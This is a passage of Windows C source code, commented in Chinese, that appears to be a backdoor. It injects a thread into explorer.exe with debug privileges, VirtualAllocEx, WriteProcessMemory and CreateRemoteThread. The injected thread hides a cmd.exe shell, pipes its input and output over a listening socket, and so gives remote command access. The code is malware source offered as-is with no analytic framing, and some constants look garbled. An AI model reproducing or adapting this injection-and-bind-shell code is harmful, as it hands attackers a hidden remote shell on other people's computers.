if(!PCreatePipe(&hReadPipe2,&hWritePipe2,&sa,0))return 0;ZeroMemory(&si,sizeof(si)); //ZeroMemory是C运行库函数,可以直接调用
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;if(!PCreateProcessA(NULL,Para->cmd,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation))return 0;
while(1) {
memset(Para->Buff,0,4096);
PPeekNamedPipe(hReadPipe1,Para->Buff,4096,&lBytesRead,0,0);
if(lBytesRead) {
if(!PReadFile(hReadPipe1, Para->Buff, lBytesRead, &lBytesRead, 0))break;
if(!Psend(clientSocket, Para->Buff, lBytesRead, 0))break;
}else {
lBytesRead=Precv(clientSocket, Para->Buff, 4096, 0);
if(lBytesRead <=0 ) break;
if(!PWriteFile(hWritePipe2, Para->Buff, lBytesRead, &lBytesRead, 0))break;
}
}PCloseHandle(hWritePipe2);
PCloseHandle(hReadPipe1);
PCloseHandle(hReadPipe2);
PCloseHandle(hWritePipe1);
Pclosesocket(listenSocket);
Pclosesocket(clientSocket);// PMessageBoxA(NULL, Para->strMessageBox, Para->strMessageBox, MB_OK);return 0;
} int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
const DWORD THREADSIZE=*4;
DWORD byte_write;
void *pRemoteThread;
HANDLE hToken,hRemoteProcess,hThread;
HINSTANCE hKernel,hUser32,hSock;
RemotePara myRemotePara,*pRemotePara;
DWORD pID;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);// 获得指定进程句柄,并设其权限为PROCESS_ALL_ACCESS
pID = GetPidByName("EXPLORER.EXE");
if(pID == 0)return 0;
hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);
if(!hRemoteProcess)return 0; // 在远程进程地址空间分配虚拟内存
pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PE_EXECUTE_READWRITE);
if(!pRemoteThread)return 0; // 将线程执行体ThreadProc写入远程进程
if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, &ThreadProc, THREADSIZE,0))return 0;ZeroMemory(&myRemotePara,sizeof(RemotePara));
hKernel = LoadLibrary( "kernel32.dll");
myRemotePara.dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");
myRemotePara.dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary");
myRemotePara.dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");
myRemotePara.dwGetModuleHandle = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA");myRemotePara.dwCreateProcessA = (DWORD)GetProcAddress(hKernel, "CreateProcessA");
myRemotePara.dwPeekNamedPipe = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe");
myRemotePara.dwWriteFile = (DWORD)GetProcAddress(hKernel, "WriteFile");
myRemotePara.dwReadFile = (DWORD)GetProcAddress(hKernel, "ReadFile");
myRemotePara.dwCloseHandle = (DWORD)GetProcAddress(hKernel, "CloseHandle");
myRemotePara.dwCreatePipe = (DWORD)GetProcAddress(hKernel, "CreatePipe");
myRemotePara.dwTerminateProcess = (DWORD)GetProcAddress(hKernel, "TerminateProcess");hSock = LoadLibrary("wsock32.dll");
myRemotePara.dwWSAStartup = (DWORD)GetProcAddress(hSock,"WSAStartup");
myRemotePara.dwSocket = (DWORD)GetProcAddress(hSock,"socket");
myRemotePara.dwhtons = (DWORD)GetProcAddress(hSock,"htons");
myRemotePara.dwbind = (DWORD)GetProcAddress(hSock,"bind");
myRemotePara.dwlisten = (DWORD)GetProcAddress(hSock,"listen");
myRemotePara.dwaccept = (DWORD)GetProcAddress(hSock,"accept");
myRemotePara.dwrecv = (DWORD)GetProcAddress(hSock,"recv");
myRemotePara.dwsend = (DWORD)GetProcAddress(hSock,"send");
myRemotePara.dwclosesocket = (DWORD)GetProcAddress(hSock,"closesocket");hUser32 = LoadLibrary("user32.dll");
myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA"); strcat(myRemotePara.strMessageBox,"Sucess!\\0");
strcat(myRemotePara.winsockDll,"wsock32.dll\\0");
strcat(myRemotePara.cmd,"cmd.exe\\0");
strcat(myRemotePara.telnetmsg,"Connect Sucessful!\\n\\0"); //写进目标进程
pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PE_READWRITE);
if(!pRemotePara)return 0;
if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0; // 启动线程
hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&byte_write);
while(1) {}
FreeLibrary(hKernel);
FreeLibrary(hSock);
FreeLibrary(hUser32);
CloseHandle(hRemoteProcess);
CloseHandle(hToken);return 0;
} BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL,szPrivName,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
return((GetLastError() == ERROR_SUCCESS));
}DWORD GetPidByName(char *szName)
{
HANDLE hProcessSnap = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe32={0};
DWORD dwRet=0;hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)return 0;pe32.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap, &pe32))
{
do
{
if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0)
{
dwRet=pe32.th32ProcessID;
break;
}
}while (Process32Next(hProcessSnap,&pe32));
}
else return 0;if(hProcessSnap !=INVALID_HANDLE_VALUE)CloseHandle(hProcessSnap);
return dwRet;
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